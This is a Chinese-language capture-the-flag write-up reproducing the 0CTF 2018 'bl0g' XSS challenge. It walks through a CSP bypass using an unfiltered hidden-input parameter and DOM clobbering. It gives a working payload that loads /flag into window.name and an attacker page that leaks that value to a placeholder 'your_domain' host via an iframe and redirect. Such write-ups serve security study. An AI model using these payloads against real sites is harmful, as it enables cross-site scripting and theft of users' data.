美文网首页我爱编程
0CTF2018 XSS bl0g 复现

0CTF2018 XSS bl0g 复现

作者: R1ka | 来源:发表于2018-04-15 16:21 被阅读0次

    1.CSP

    Content-Security-Policy:
    script-src 'self' 'unsafe-inline'
    Content-Security-Policy:
    default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
    

    这段csp意思就是,无法引用外部js,也就是<script>的src属性无法引用外部js
    插入<script></script>还需要nonce-{random} 如:<script nonce="hrNrmOz0PeaNWcdXDmphINN9ZBo=" src="/assets/js/config.js"></script>

    2.effect参数


    image.png
    POST /new HTTP/1.1
    Host: 202.120.7.197:8090
    Connection: keep-alive
    Content-Length: 35
    Cache-Control: max-age=0
    Origin: http://202.120.7.197:8090
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://202.120.7.197:8090/new
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
    title=a&content=a&effect=nest
    

    effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。


    image.png

    插入之后因为缺少nonce,所以代码无法执行

    找到http://202.120.7.197:8090/assets/js/article.js

    $(document).ready(function(){  $("body").append((effects[$("#effect").val()]));
    });
    

    浏览器有一定的容错能力,我们可以通过插入<script>,那么这个标签会自动闭合后面config.js的</script>,那么中间的代码就会被视为js代码,被CSP拦截。


    image.png

    最后构造 payload 将 flag 写入到 window.name :

    id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
    
    image.png

    利用window.name+iframe跨域获取数据
    http://www.cnblogs.com/zichi/p/4620656.html

    提交 URL :
    http//202.120.7.197:8090/login?next=//domain.com/evil.html

    evil.html 通过 iframe 内容读取 window.name:

    <iframe src="http://202.120.7.197:8090/article/3860"></iframe>
    <script>
        setTimeout(()=>{frames[0].window.location.href='/'},1200)
        setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)
    </script>
    
    image.png

    links:
    https://lorexxar.cn/2018/04/05/0ctf2018-blog/
    https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

    相关文章

      网友评论

        本文标题:0CTF2018 XSS bl0g 复现

        本文链接:https://www.haomeiwen.com/subject/hqshkftx.html